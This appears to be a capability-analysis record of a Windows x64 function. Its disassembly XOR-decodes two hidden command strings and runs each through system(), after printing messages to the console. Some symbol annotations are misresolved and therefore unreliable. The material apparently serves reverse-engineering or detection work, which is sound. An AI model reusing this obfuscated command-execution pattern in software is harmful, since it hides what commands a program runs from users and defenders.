Function at 0x140003410
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rdx, [0x1400741c8]
mov r8, qword [reloc.WS2_32.dll_getpeername]
cmova rdx, qword [0x1400741c8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400052e0
movdqa xmm0, xmmword [0x14006b300]
lea rdx, [rbp - 0x29]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x15], 0x737265
mov dword [rbp - 0x19], 0x74706164
mov byte [rbp - 0x11], 0
call fcn.1400048b0
lea rdx, [0x140004a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rdi, [0x140074128]
mov r8, qword [reloc.WS2_32.dll_connect]
mov rdx, rdi
cmova rdx, qword [0x140074128]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400052e0
movdqa xmm0, xmmword [0x14006b440]
xor ebx, ebx
movdqa xmm1, xmmword [0x14006b520]
mov ecx, ebx
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x14006b4a0]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmm0, xmmword [str.KPEGJB_7d___16_]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x14006b320]
movdqa xmmword [rbp + 0x37], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov word [rbp + 0x47], 0x100
nop dword [rax + rax]
lea eax, [rcx - 0x3e]
xor byte [rbp + rcx - 9], al
lea eax, [rcx - 0x3d]
xor byte [rbp + rcx - 8], al
lea eax, [rcx - 0x3c]
xor byte [rbp + rcx - 7], al
lea eax, [rcx - 0x3b]
xor byte [rbp + rcx - 6], al
lea eax, [rcx - 0x3a]
xor byte [rbp + rcx - 5], al
lea eax, [rcx - 0x39]
xor byte [rbp + rcx - 4], al
lea eax, [rcx - 0x38]
xor byte [rbp + rcx - 3], al
lea eax, [rcx - 0x37]
xor byte [rbp + rcx - 2], al
lea eax, [rcx - 0x36]
xor byte [rbp + rcx - 1], al
lea eax, [rcx - 0x35]
xor byte [rbp + rcx], al
lea eax, [rcx - 0x34]
xor byte [rbp + rcx + 1], al
lea eax, [rcx - 0x33]
xor byte [rbp + rcx + 2], al
lea eax, [rcx - 0x32]
xor byte [rbp + rcx + 3], al
lea eax, [rcx - 0x31]
xor byte [rbp + rcx + 4], al
lea eax, [rcx - 0x30]
xor byte [rbp + rcx + 5], al
lea eax, [rcx - 0x2f]
xor byte [rbp + rcx + 6], al
add rcx, 0x10
cmp rcx, 0x50
jb 0x140003510
lea rcx, [rbp - 9]
mov byte [rbp + 0x48], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rdx, [0x140074188]
mov r8, qword [reloc.WS2_32.dll_getpeername]
cmova rdx, qword [0x140074188]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400052e0
movdqa xmm0, xmmword [0x14006b330]
lea rdx, [rbp - 0x29]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqu xmmword [rbp - 0x29], xmm0
mov word [rbp - 0x14], reloc.WS2_32.dll_WSAStartup
mov dword [rbp - 0x19], 0x65747061
mov byte [rbp - 0x15], WSACleanup
mov byte [rbp - 0x12], bl
call fcn.1400048b0
lea rdx, [0x140004a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
mov r8, qword [reloc.WS2_32.dll_connect]
cmova rdi, qword [0x140074128]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rdx, rdi
call fcn.1400052e0
movdqa xmm0, xmmword [0x14006b440]
movdqa xmm1, xmmword [0x14006b520]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x14006b4a0]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmm0, xmmword [str.LBFIC6g]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x14006b310]
movdqa xmmword [rbp + 0x37], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov byte [rbp + 0x47], 1
nop dword [rax]
lea eax, [rbx - 0x3e]
xor byte [rbp + rbx - 9], al
inc rbx
cmp rbx, 0x4f
jb 0x140003670
lea rcx, [rbp - 9]
mov byte [rbp + 0x47], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret